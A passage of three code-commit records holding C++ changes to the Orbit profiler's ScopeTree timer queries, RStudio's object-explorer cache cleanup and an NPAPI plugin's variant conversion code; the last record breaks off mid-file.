<commit_before>// Copyright (c) 2021 The Orbit Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <ClientData/ScopeTreeTimerData.h> namespace orbit_client_data { const orbit_client_protos::TimerInfo& ScopeTreeTimerData::AddTimer( orbit_client_protos::TimerInfo timer_info, uint32_t /*depth*/) { // We don't need to have one TimerChain per depth because it's managed by ScopeTree. const auto& timer_info_ref = timer_data_.AddTimer(std::move(timer_info), /*unused_depth=*/0); if (scope_tree_update_type_ == ScopeTreeUpdateType::kAlways) { absl::MutexLock lock(&scope_tree_mutex_); scope_tree_.Insert(&timer_info_ref); } return timer_info_ref; } void ScopeTreeTimerData::OnCaptureComplete() { // Build ScopeTree from timer chains, when we are loading a capture. if (scope_tree_update_type_ != ScopeTreeUpdateType::kOnCaptureComplete) return; std::vector<const TimerChain*> timer_chains = timer_data_.GetChains(); for (const TimerChain* timer_chain : timer_chains) { ORBIT_CHECK(timer_chain != nullptr); absl::MutexLock lock(&scope_tree_mutex_); for (const auto& block : *timer_chain) { for (size_t k = 0; k < block.size(); ++k) { scope_tree_.Insert(&block[k]); } } } } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimers( uint64_t start_ns, uint64_t end_ns) const { // The query is for the interval [start_ns, end_ns], but it's easier to work with the close-open // interval [start_ns, end_ns+1). We have to be careful with overflowing. end_ns = std::max(end_ns, end_ns + 1); std::vector<const orbit_client_protos::TimerInfo*> all_timers; for (uint32_t depth = 0; depth < GetDepth(); ++depth) { std::vector<const orbit_client_protos::TimerInfo*> timers_at_depth = GetTimersAtDepth(depth, start_ns, end_ns); all_timers.insert(all_timers.end(), timers_at_depth.begin(), timers_at_depth.end()); } return all_timers; } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimersAtDepth( uint32_t depth, uint64_t start_ns, uint64_t end_ns) const { std::vector<const orbit_client_protos::TimerInfo*> all_timers_at_depth; absl::MutexLock lock(&scope_tree_mutex_); auto& ordered_nodes = scope_tree_.GetOrderedNodesAtDepth(depth); if (ordered_nodes.empty()) return all_timers_at_depth; auto first_node_to_draw = ordered_nodes.upper_bound(start_ns); if (first_node_to_draw != ordered_nodes.begin()) --first_node_to_draw; // If this node is strictly before the range, we shouldn't include it. if (first_node_to_draw->second->GetScope()->end() < start_ns) ++first_node_to_draw; for (auto it = first_node_to_draw; it != ordered_nodes.end() && it->first < end_ns; ++it) { all_timers_at_depth.push_back(it->second->GetScope()); } return all_timers_at_depth; } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimersAtDepthDiscretized( uint32_t depth, uint32_t resolution, uint64_t start_ns, uint64_t end_ns) const { // The query is for the interval [start_ns, end_ns], but it's easier to work with the close-open // interval [start_ns, end_ns+1). We have to be careful with overflowing. end_ns = std::max(end_ns, end_ns + 1); std::vector<const orbit_client_protos::TimerInfo*> all_timers_at_depth; absl::MutexLock lock(&scope_tree_mutex_); const orbit_client_protos::TimerInfo* timer_info = scope_tree_.FindFirstScopeAtOrAfterTime(depth, start_ns); while (timer_info != nullptr && timer_info->start() < end_ns) { all_timers_at_depth.push_back(timer_info); // Use the time of next pixel boundary as a threshold to avoid returning several timers // for the same pixel that will overlap after. uint64_t next_pixel_start_time_ns = GetNextPixelBoundaryTimeNs(timer_info->end(), resolution, start_ns, end_ns); timer_info = scope_tree_.FindFirstScopeAtOrAfterTime(depth, next_pixel_start_time_ns); } return all_timers_at_depth; } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetLeft( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindPreviousScopeAtDepth(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetRight( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindNextScopeAtDepth(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetUp( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindParent(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetDown( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindFirstChild(timer); } } // namespace orbit_client_data<commit_msg>Measure time in introspection for ScopeTree queries (#4146)<commit_after>// Copyright (c) 2021 The Orbit Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <ClientData/ScopeTreeTimerData.h> namespace orbit_client_data { const orbit_client_protos::TimerInfo& ScopeTreeTimerData::AddTimer( orbit_client_protos::TimerInfo timer_info, uint32_t /*depth*/) { // We don't need to have one TimerChain per depth because it's managed by ScopeTree. const auto& timer_info_ref = timer_data_.AddTimer(std::move(timer_info), /*unused_depth=*/0); if (scope_tree_update_type_ == ScopeTreeUpdateType::kAlways) { absl::MutexLock lock(&scope_tree_mutex_); scope_tree_.Insert(&timer_info_ref); } return timer_info_ref; } void ScopeTreeTimerData::OnCaptureComplete() { // Build ScopeTree from timer chains, when we are loading a capture. if (scope_tree_update_type_ != ScopeTreeUpdateType::kOnCaptureComplete) return; std::vector<const TimerChain*> timer_chains = timer_data_.GetChains(); for (const TimerChain* timer_chain : timer_chains) { ORBIT_CHECK(timer_chain != nullptr); absl::MutexLock lock(&scope_tree_mutex_); for (const auto& block : *timer_chain) { for (size_t k = 0; k < block.size(); ++k) { scope_tree_.Insert(&block[k]); } } } } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimers( uint64_t start_ns, uint64_t end_ns) const { ORBIT_SCOPE_WITH_COLOR("GetTimers", kOrbitColorAmber); // The query is for the interval [start_ns, end_ns], but it's easier to work with the close-open // interval [start_ns, end_ns+1). We have to be careful with overflowing. end_ns = std::max(end_ns, end_ns + 1); std::vector<const orbit_client_protos::TimerInfo*> all_timers; for (uint32_t depth = 0; depth < GetDepth(); ++depth) { std::vector<const orbit_client_protos::TimerInfo*> timers_at_depth = GetTimersAtDepth(depth, start_ns, end_ns); all_timers.insert(all_timers.end(), timers_at_depth.begin(), timers_at_depth.end()); } return all_timers; } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimersAtDepth( uint32_t depth, uint64_t start_ns, uint64_t end_ns) const { std::vector<const orbit_client_protos::TimerInfo*> all_timers_at_depth; absl::MutexLock lock(&scope_tree_mutex_); auto& ordered_nodes = scope_tree_.GetOrderedNodesAtDepth(depth); if (ordered_nodes.empty()) return all_timers_at_depth; auto first_node_to_draw = ordered_nodes.upper_bound(start_ns); if (first_node_to_draw != ordered_nodes.begin()) --first_node_to_draw; // If this node is strictly before the range, we shouldn't include it. if (first_node_to_draw->second->GetScope()->end() < start_ns) ++first_node_to_draw; for (auto it = first_node_to_draw; it != ordered_nodes.end() && it->first < end_ns; ++it) { all_timers_at_depth.push_back(it->second->GetScope()); } return all_timers_at_depth; } std::vector<const orbit_client_protos::TimerInfo*> ScopeTreeTimerData::GetTimersAtDepthDiscretized( uint32_t depth, uint32_t resolution, uint64_t start_ns, uint64_t end_ns) const { ORBIT_SCOPE_WITH_COLOR("GetTimersAtDepthDiscretized", kOrbitColorAmber); absl::MutexLock lock(&scope_tree_mutex_); // The query is for the interval [start_ns, end_ns], but it's easier to work with the close-open // interval [start_ns, end_ns+1). We have to be careful with overflowing. end_ns = std::max(end_ns, end_ns + 1); std::vector<const orbit_client_protos::TimerInfo*> discretized_timers; const orbit_client_protos::TimerInfo* timer_info = scope_tree_.FindFirstScopeAtOrAfterTime(depth, start_ns); while (timer_info != nullptr && timer_info->start() < end_ns) { discretized_timers.push_back(timer_info); // Use the time of next pixel boundary as a threshold to avoid returning several timers // for the same pixel that will overlap after. uint64_t next_pixel_start_time_ns = GetNextPixelBoundaryTimeNs(timer_info->end(), resolution, start_ns, end_ns); timer_info = scope_tree_.FindFirstScopeAtOrAfterTime(depth, next_pixel_start_time_ns); } return discretized_timers; } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetLeft( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindPreviousScopeAtDepth(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetRight( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindNextScopeAtDepth(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetUp( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindParent(timer); } const orbit_client_protos::TimerInfo* ScopeTreeTimerData::GetDown( const orbit_client_protos::TimerInfo& timer) const { absl::MutexLock lock(&scope_tree_mutex_); return scope_tree_.FindFirstChild(timer); } } // namespace orbit_client_data<|endoftext|>
<commit_before>/* * SessionObjectExplorer.cpp * * Copyright (C) 2009-17 by RStudio, Inc. * * Unless you have received this program directly from RStudio pursuant * to the terms of a commercial license agreement with RStudio, then * this program is licensed to you under the terms of version 3 of the * GNU Affero General Public License. This program is distributed WITHOUT * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT, * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the * AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details. * */ #define R_INTERNAL_FUNCTIONS #include "SessionObjectExplorer.hpp" #include <boost/bind.hpp> #include <boost/foreach.hpp> #include <core/Algorithm.hpp> #include <core/Error.hpp> #include <core/Exec.hpp> #include <r/RExec.hpp> #include <r/RRoutines.hpp> #include <r/RSexp.hpp> #include <session/SessionModuleContext.hpp> using namespace rstudio::core; namespace rstudio { namespace session { namespace modules { namespace explorer { namespace { const char * const kExplorerCacheDir = "explorer-cache"; FilePath explorerCacheDir() { return module_context::sessionScratchPath() .childPath(kExplorerCacheDir); } std::string explorerCacheDirSystem() { return string_utils::utf8ToSystem(explorerCacheDir().absolutePath()); } void removeOrphanedCacheItems() { Error error; // if we don't have a cache, nothing to do if (!explorerCacheDir().exists()) return; // list source documents std::vector<FilePath> docPaths; error = source_database::list(&docPaths); if (error) { LOG_ERROR(error); return; } // read their properties typedef source_database::SourceDocument SourceDocument; typedef boost::shared_ptr<SourceDocument> Document; std::vector<Document> documents; BOOST_FOREACH(const FilePath& docPath, docPaths) { Document pDoc(new SourceDocument()); Error error = source_database::get(docPath.filename(), false, pDoc); if (error) { LOG_ERROR(error); continue; } documents.push_back(pDoc); } // list objects in explorer cache std::vector<FilePath> cachedFiles; error = explorerCacheDir().children(&cachedFiles); if (error) { LOG_ERROR(error); return; } // remove any objects for which we don't have an associated // source document available BOOST_FOREACH(const FilePath& cacheFile, cachedFiles) { std::string id = cacheFile.filename(); bool foundId = false; BOOST_FOREACH(Document pDoc, documents) { if (id == pDoc->getProperty("id")) { foundId = true; break; } } if (!foundId) { error = cacheFile.remove(); if (error) LOG_ERROR(error); } } } void onShutdown(bool terminatedNormally) { if (!terminatedNormally) return; using namespace r::exec; Error error = RFunction(".rs.explorer.saveCache") .addParam(explorerCacheDirSystem()) .call(); if (error) LOG_ERROR(error); } void onSuspend(const r::session::RSuspendOptions&, core::Settings*) { onShutdown(true); } void onResume(const Settings&) { } void onDocPendingRemove(boost::shared_ptr<source_database::SourceDocument> pDoc) { Error error; // if we have a cache item associated with this document, remove it FilePath cachePath = explorerCacheDir().childPath(pDoc->id()); error = cachePath.removeIfExists(); if (error) LOG_ERROR(error); // also attempt to remove from R cache using namespace r::exec; error = RFunction(".rs.explorer.removeCachedObject") .addParam(pDoc->id()) .call(); if (error) LOG_ERROR(error); } void onDeferredInit(bool) { Error error; error = explorerCacheDir().ensureDirectory(); if (error) { LOG_ERROR(error); return; } removeOrphanedCacheItems(); using namespace r::exec; error = RFunction(".rs.explorer.restoreCache") .addParam(explorerCacheDirSystem()) .call(); if (error) LOG_ERROR(error); } SEXP rs_objectClass(SEXP objectSEXP) { SEXP attribSEXP = ATTRIB(objectSEXP); if (attribSEXP == R_NilValue) return R_NilValue; while (attribSEXP != R_NilValue) { SEXP tagSEXP = TAG(attribSEXP); if (TYPEOF(tagSEXP) == SYMSXP) { const char* tag = CHAR(PRINTNAME(tagSEXP)); if (::strcmp(tag, "class") == 0) return CAR(attribSEXP); } attribSEXP = CDR(attribSEXP); } return R_NilValue; } SEXP rs_objectAddress(SEXP objectSEXP) { std::stringstream ss; ss << std::hex << (void*) objectSEXP; r::sexp::Protect protect; return r::sexp::create(ss.str(), &protect); } SEXP rs_objectAttributes(SEXP objectSEXP) { return ATTRIB(objectSEXP); } SEXP rs_explorerCacheDir() { r::sexp::Protect protect; return r::sexp::create(explorerCacheDirSystem(), &protect); } } // end anonymous namespace core::Error initialize() { using namespace module_context; using boost::bind; module_context::events().onDeferredInit.connect(onDeferredInit); module_context::events().onShutdown.connect(onShutdown); addSuspendHandler(SuspendHandler(onSuspend, onResume)); source_database::events().onDocPendingRemove.connect(onDocPendingRemove); RS_REGISTER_CALL_METHOD(rs_objectAddress, 1); RS_REGISTER_CALL_METHOD(rs_objectClass, 1); RS_REGISTER_CALL_METHOD(rs_objectAttributes, 1); RS_REGISTER_CALL_METHOD(rs_explorerCacheDir, 0); ExecBlock initBlock; initBlock.addFunctions() (bind(sourceModuleRFile, "SessionObjectExplorer.R")); return initBlock.execute(); } } // namespace explorer } // namespace modules } // namespace session } // namespace rstudio <commit_msg>use correct id in pending doc remove<commit_after>/* * SessionObjectExplorer.cpp * * Copyright (C) 2009-17 by RStudio, Inc. * * Unless you have received this program directly from RStudio pursuant * to the terms of a commercial license agreement with RStudio, then * this program is licensed to you under the terms of version 3 of the * GNU Affero General Public License. This program is distributed WITHOUT * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT, * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the * AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details. * */ #define R_INTERNAL_FUNCTIONS #include "SessionObjectExplorer.hpp" #include <boost/bind.hpp> #include <boost/foreach.hpp> #include <core/Algorithm.hpp> #include <core/Error.hpp> #include <core/Exec.hpp> #include <r/RExec.hpp> #include <r/RRoutines.hpp> #include <r/RSexp.hpp> #include <session/SessionModuleContext.hpp> using namespace rstudio::core; namespace rstudio { namespace session { namespace modules { namespace explorer { namespace { const char * const kExplorerCacheDir = "explorer-cache"; FilePath explorerCacheDir() { return module_context::sessionScratchPath() .childPath(kExplorerCacheDir); } std::string explorerCacheDirSystem() { return string_utils::utf8ToSystem(explorerCacheDir().absolutePath()); } void removeOrphanedCacheItems() { Error error; // if we don't have a cache, nothing to do if (!explorerCacheDir().exists()) return; // list source documents std::vector<FilePath> docPaths; error = source_database::list(&docPaths); if (error) { LOG_ERROR(error); return; } // read their properties typedef source_database::SourceDocument SourceDocument; typedef boost::shared_ptr<SourceDocument> Document; std::vector<Document> documents; BOOST_FOREACH(const FilePath& docPath, docPaths) { Document pDoc(new SourceDocument()); Error error = source_database::get(docPath.filename(), false, pDoc); if (error) { LOG_ERROR(error); continue; } documents.push_back(pDoc); } // list objects in explorer cache std::vector<FilePath> cachedFiles; error = explorerCacheDir().children(&cachedFiles); if (error) { LOG_ERROR(error); return; } // remove any objects for which we don't have an associated // source document available BOOST_FOREACH(const FilePath& cacheFile, cachedFiles) { std::string id = cacheFile.filename(); bool foundId = false; BOOST_FOREACH(Document pDoc, documents) { if (id == pDoc->getProperty("id")) { foundId = true; break; } } if (!foundId) { error = cacheFile.remove(); if (error) LOG_ERROR(error); } } } void onShutdown(bool terminatedNormally) { if (!terminatedNormally) return; using namespace r::exec; Error error = RFunction(".rs.explorer.saveCache") .addParam(explorerCacheDirSystem()) .call(); if (error) LOG_ERROR(error); } void onSuspend(const r::session::RSuspendOptions&, core::Settings*) { onShutdown(true); } void onResume(const Settings&) { } void onDocPendingRemove(boost::shared_ptr<source_database::SourceDocument> pDoc) { Error error; // if we have a cache item associated with this document, remove it std::string id = pDoc->getProperty("id"); if (id.empty()) return; FilePath cachePath = explorerCacheDir().childPath(id); error = cachePath.removeIfExists(); if (error) { LOG_ERROR(error); return; } // also attempt to remove from R cache using namespace r::exec; error = RFunction(".rs.explorer.removeCachedObject") .addParam(id) .call(); if (error) LOG_ERROR(error); } void onDeferredInit(bool) { Error error; error = explorerCacheDir().ensureDirectory(); if (error) { LOG_ERROR(error); return; } removeOrphanedCacheItems(); using namespace r::exec; error = RFunction(".rs.explorer.restoreCache") .addParam(explorerCacheDirSystem()) .call(); if (error) LOG_ERROR(error); } SEXP rs_objectClass(SEXP objectSEXP) { SEXP attribSEXP = ATTRIB(objectSEXP); if (attribSEXP == R_NilValue) return R_NilValue; while (attribSEXP != R_NilValue) { SEXP tagSEXP = TAG(attribSEXP); if (TYPEOF(tagSEXP) == SYMSXP) { const char* tag = CHAR(PRINTNAME(tagSEXP)); if (::strcmp(tag, "class") == 0) return CAR(attribSEXP); } attribSEXP = CDR(attribSEXP); } return R_NilValue; } SEXP rs_objectAddress(SEXP objectSEXP) { std::stringstream ss; ss << std::hex << (void*) objectSEXP; r::sexp::Protect protect; return r::sexp::create(ss.str(), &protect); } SEXP rs_objectAttributes(SEXP objectSEXP) { return ATTRIB(objectSEXP); } SEXP rs_explorerCacheDir() { r::sexp::Protect protect; return r::sexp::create(explorerCacheDirSystem(), &protect); } } // end anonymous namespace core::Error initialize() { using namespace module_context; using boost::bind; module_context::events().onDeferredInit.connect(onDeferredInit); module_context::events().onShutdown.connect(onShutdown); addSuspendHandler(SuspendHandler(onSuspend, onResume)); source_database::events().onDocPendingRemove.connect(onDocPendingRemove); RS_REGISTER_CALL_METHOD(rs_objectAddress, 1); RS_REGISTER_CALL_METHOD(rs_objectClass, 1); RS_REGISTER_CALL_METHOD(rs_objectAttributes, 1); RS_REGISTER_CALL_METHOD(rs_explorerCacheDir, 0); ExecBlock initBlock; initBlock.addFunctions() (bind(sourceModuleRFile, "SessionObjectExplorer.R")); return initBlock.execute(); } } // namespace explorer } // namespace modules } // namespace session } // namespace rstudio <|endoftext|>
<commit_before>/* * Copyright 2011 Esrille Inc. * Copyright 2009, 2010 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "esnpapi.h" #include <assert.h> #include <ctype.h> #include <math.h> #include <stdio.h> #include <stdlib.h> #include <string.h> std::string getInterfaceName(NPP npp, NPObject* object) { std::string className; NPVariant result; bool asConstructor = true; // true if object can be a constructor VOID_TO_NPVARIANT(result); NPN_Invoke(npp, object, NPN_GetStringIdentifier("toString"), 0, 0, &result); for (;;) { if (NPVARIANT_IS_STRING(result)) { className = std::string(NPVARIANT_TO_STRING(result).utf8characters, NPVARIANT_TO_STRING(result).utf8length); } NPN_ReleaseVariantValue(&result); if (className.compare(0, 9, "function ") == 0) { // In Chrome, a [Constructor] object is represented as a 'Function'. className = className.substr(9); size_t pos = className.find('('); if (pos != std::string::npos) { className = className.substr(0, pos); break; } return "Function"; } if (className.compare(0, 8, "[object ", 8) == 0 && className[className.length() - 1] == ']') { className = className.substr(8, className.length() - 9); break; } // This object is likely to have a stringifier. Check the constructor name directly. NPVariant constructor; VOID_TO_NPVARIANT(constructor); if (asConstructor && NPN_GetProperty(npp, object, NPN_GetStringIdentifier("constructor"), &constructor)) { if (NPVARIANT_IS_OBJECT(constructor) && NPN_Invoke(npp, NPVARIANT_TO_OBJECT(constructor), NPN_GetStringIdentifier("toString"), 0, 0, &result)) { NPN_ReleaseVariantValue(&constructor); asConstructor = false; continue; } NPN_ReleaseVariantValue(&constructor); } return "Object"; } // In Firefox, the constructor and an instance object cannot be distinguished by toString(). // Check if object has a 'prototype' to see if it is a constructor. if (asConstructor && NPN_HasProperty(npp, object, NPN_GetStringIdentifier("prototype"))) { className += "_Constructor"; } return className; } Any convertToAny(NPP npp, const NPVariant* variant) { switch (variant->type) { case NPVariantType_Void: case NPVariantType_Null: return Any(); break; case NPVariantType_Bool: return NPVARIANT_TO_BOOLEAN(*variant); break; case NPVariantType_Int32: return NPVARIANT_TO_INT32(*variant); break; case NPVariantType_Double: return NPVARIANT_TO_DOUBLE(*variant); break; case NPVariantType_String: return std::string(NPVARIANT_TO_STRING(*variant).utf8characters, NPVARIANT_TO_STRING(*variant).utf8length); break; case NPVariantType_Object: { NPObject* object = NPVARIANT_TO_OBJECT(*variant); if (!object) { break; } if (StubObject::isStub(object)) { StubObject* stub = static_cast<StubObject*>(object); return stub->getObject(); } PluginInstance* instance = static_cast<PluginInstance*>(npp->pdata); if (instance) { ProxyControl* proxyControl = instance->getProxyControl(); if (proxyControl) { return proxyControl->createProxy(object); } } break; } default: break; } return Any(); } void convertToVariant(NPP npp, const std::string& value, NPVariant* variant, bool result) { if (value.length() == 0) { STRINGN_TO_NPVARIANT(0, 0, *variant); return; } if (!result) { STRINGN_TO_NPVARIANT(value.c_str(), value.length(), *variant); return; } void* buffer = NPN_MemAlloc(value.length()); if (!buffer) { STRINGN_TO_NPVARIANT(0, 0, *variant); return; } memmove(buffer, value.c_str(), value.length()); STRINGN_TO_NPVARIANT(static_cast<NPUTF8*>(buffer), value.length(), *variant); } void convertToVariant(NPP npp, Object* value, NPVariant* variant, bool result) { if (!value) { NULL_TO_NPVARIANT(*variant); return; } if (ProxyObject* proxy = dynamic_cast<ProxyObject*>(value)) { if (result) { NPN_RetainObject(proxy->getNPObject()); } OBJECT_TO_NPVARIANT(proxy->getNPObject(), *variant); return; } if (PluginInstance* instance = static_cast<PluginInstance*>(npp->pdata)) { StubControl* stubControl = instance->getStubControl(); if (stubControl) { NPObject* object = stubControl->createStub(value); if (object) { if (result) { NPN_RetainObject(object); } OBJECT_TO_NPVARIANT(object, *variant); return; } } } NULL_TO_NPVARIANT(*variant); } namespace { NPObject* createArray(NPP npp) { NPObject* array = 0; NPObject* window; NPN_GetValue(npp, NPNVWindowNPObject, &window); NPString script = { "new Array();", 12 }; NPVariant result; if (NPN_Evaluate(npp, window, &script, &result)) { if (NPVARIANT_IS_OBJECT(result)) { array = NPVARIANT_TO_OBJECT(result); } else { NPN_ReleaseVariantValue(&result); } } NPN_ReleaseObject(window); return array; } template <typename T> void copySequence(NPP npp, NPObject* array, const Sequence<T> sequence, bool result) { for (unsigned i = 0; i < sequence.getLength(); ++i) { NPIdentifier id = NPN_GetIntIdentifier(i); NPVariant element; convertToVariant(npp, sequence[i], &element, result); NPN_SetProperty(npp, array, id, &element); } } } void convertToVariant(NPP npp, const Any& any, NPVariant* variant, bool result) { switch (any.getType()) { case Any::Empty: NULL_TO_NPVARIANT(*variant); break; case Any::Bool: BOOLEAN_TO_NPVARIANT(any.toBoolean(), *variant); break; case Any::Int32: case Any::Uint32: INT32_TO_NPVARIANT(static_cast<int32_t>(any), *variant); break; case Any::Int64: case Any::Uint64: case Any::Float32: case Any::Float64: DOUBLE_TO_NPVARIANT(static_cast<double>(any), *variant); break; case Any::Dynamic: if (any.isString()) { std::string value = any.toString(); printf("%s '%s'\n", __func__, value.c_str()); if (value.length() == 0) { STRINGN_TO_NPVARIANT(0, 0, *variant); } else if (!result) { STRINGN_TO_NPVARIANT(value.c_str(), value.length(), *variant); } else { void* buffer = NPN_MemAlloc(value.length()); if (!buffer) { STRINGN_TO_NPVARIANT(0, 0, *variant); } else { memmove(buffer, value.c_str(), value.length()); STRINGN_TO_NPVARIANT(static_cast<NPUTF8*>(buffer), value.length(), *variant); } } } else { assert(any.isObject()); convertToVariant(npp, any.toObject(), variant, result); } break; default: VOID_TO_NPVARIANT(*variant); break; } }<commit_msg>Fix x86_64 build issues.<commit_after>/* * Copyright 2011 Esrille Inc. * Copyright 2009, 2010 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "esnpapi.h" #include <assert.h> #include <ctype.h> #include <math.h> #include <stdio.h> #include <stdlib.h> #include <string.h> std::string getInterfaceName(NPP npp, NPObject* object) { std::string className; NPVariant result; bool asConstructor = true; // true if object can be a constructor VOID_TO_NPVARIANT(result); NPN_Invoke(npp, object, NPN_GetStringIdentifier("toString"), 0, 0, &result); for (;;) { if (NPVARIANT_IS_STRING(result)) { className = std::string(NPVARIANT_TO_STRING(result).utf8characters, NPVARIANT_TO_STRING(result).utf8length); } NPN_ReleaseVariantValue(&result); if (className.compare(0, 9, "function ") == 0) { // In Chrome, a [Constructor] object is represented as a 'Function'. className = className.substr(9); size_t pos = className.find('('); if (pos != std::string::npos) { className = className.substr(0, pos); break; } return "Function"; } if (className.compare(0, 8, "[object ", 8) == 0 && className[className.length() - 1] == ']') { className = className.substr(8, className.length() - 9); break; } // This object is likely to have a stringifier. Check the constructor name directly. NPVariant constructor; VOID_TO_NPVARIANT(constructor); if (asConstructor && NPN_GetProperty(npp, object, NPN_GetStringIdentifier("constructor"), &constructor)) { if (NPVARIANT_IS_OBJECT(constructor) && NPN_Invoke(npp, NPVARIANT_TO_OBJECT(constructor), NPN_GetStringIdentifier("toString"), 0, 0, &result)) { NPN_ReleaseVariantValue(&constructor); asConstructor = false; continue; } NPN_ReleaseVariantValue(&constructor); } return "Object"; } // In Firefox, the constructor and an instance object cannot be distinguished by toString(). // Check if object has a 'prototype' to see if it is a constructor. if (asConstructor && NPN_HasProperty(npp, object, NPN_GetStringIdentifier("prototype"))) { className += "_Constructor"; } return className; } Any convertToAny(NPP npp, const NPVariant* variant) { switch (variant->type) { case NPVariantType_Void: case NPVariantType_Null: return Any(); break; case NPVariantType_Bool: return NPVARIANT_TO_BOOLEAN(*variant); break; case NPVariantType_Int32: return NPVARIANT_TO_INT32(*variant); break; case NPVariantType_Double: return NPVARIANT_TO_DOUBLE(*variant); break; case NPVariantType_String: return std::string(NPVARIANT_TO_STRING(*variant).utf8characters, NPVARIANT_TO_STRING(*variant).utf8length); break; case NPVariantType_Object: { NPObject* object = NPVARIANT_TO_OBJECT(*variant); if (!object) { break; } if (StubObject::isStub(object)) { StubObject* stub = static_cast<StubObject*>(object); return stub->getObject(); } PluginInstance* instance = static_cast<PluginInstance*>(npp->pdata); if (instance) { ProxyControl* proxyControl = instance->getProxyControl(); if (proxyControl) { return proxyControl->createProxy(object); } } break; } default: break; } return Any(); } void convertToVariant(NPP npp, const std::string& value, NPVariant* variant, bool result) { if (value.length() == 0) { STRINGN_TO_NPVARIANT(0, 0, *variant); return; } if (!result) { STRINGN_TO_NPVARIANT(value.c_str(), static_cast<uint32_t>(value.length()), *variant); return; } void* buffer = NPN_MemAlloc(value.length()); if (!buffer) { STRINGN_TO_NPVARIANT(0, 0, *variant); return; } memmove(buffer, value.c_str(), value.length()); STRINGN_TO_NPVARIANT(static_cast<NPUTF8*>(buffer), static_cast<uint32_t>(value.length()), *variant); } void convertToVariant(NPP npp, Object* value, NPVariant* variant, bool result) { if (!value) { NULL_TO_NPVARIANT(*variant); return; } if (ProxyObject* proxy = dynamic_cast<ProxyObject*>(value)) { if (result) { NPN_RetainObject(proxy->getNPObject()); } OBJECT_TO_NPVARIANT(proxy->getNPObject(), *variant); return; } if (PluginInstance* instance = static_cast<PluginInstance*>(npp->pdata)) { StubControl* stubControl = instance->getStubControl(); if (stubControl) { NPObject* object = stubControl->createStub(value); if (object) { if (result) { NPN_RetainObject(object); } OBJECT_TO_NPVARIANT(object, *variant); return; } } } NULL_TO_NPVARIANT(*variant); } namespace { NPObject* createArray(NPP npp) { NPObject* array = 0; NPObject* window; NPN_GetValue(npp, NPNVWindowNPObject, &window); NPString script = { "new Array();", 12 }; NPVariant result; if (NPN_Evaluate(npp, window, &script, &result)) { if (NPVARIANT_IS_OBJECT(result)) { array = NPVARIANT_TO_OBJECT(result); } else { NPN_ReleaseVariantValue(&result); } } NPN_ReleaseObject(window); return array; } template <typename T> void copySequence(NPP npp, NPObject* array, const Sequence<T> sequence, bool result) { for (unsigned i = 0; i < sequence.getLength(); ++i) { NPIdentifier id = NPN_GetIntIdentifier(i); NPVariant element; convertToVariant(npp, sequence[i], &element, result); NPN_SetProperty(npp, array, id, &element); } } } void convertToVariant(NPP npp, const Any& any, NPVariant* variant, bool result) { switch (any.getType()) { case Any::Empty: NULL_TO_NPVARIANT(*variant); break; case Any::Bool: BOOLEAN_TO_NPVARIANT(any.toBoolean(), *variant); break; case Any::Int32: case Any::Uint32: INT32_TO_NPVARIANT(static_cast<int32_t>(any), *variant); break; case Any::Int64: case Any::Uint64: case Any::Float32: case Any::Float64: DOUBLE_TO_NPVARIANT(static_cast<double>(any), *variant); break; case Any::Dynamic: if (any.isString()) { std::string value = any.toString(); if (value.length() == 0) { STRINGN_TO_NPVARIANT(0, 0, *variant); } else if (!result) { STRINGN_TO_NPVARIANT(value.c_str(), static_cast<uint32_t>(value.length()), *variant); } else { void* buffer = NPN_MemAlloc(value.length()); if (!buffer) { STRINGN_TO_NPVARIANT(0, 0, *variant); } else { memmove(buffer, value.c_str(), value.length()); STRINGN_TO_NPVARIANT(static_cast<NPUTF8*>(buffer), static_cast<uint32_t>(value.length()), *variant); } } } else { assert(any.isObject()); convertToVariant(npp, any.toObject(), variant, result); } break; default: 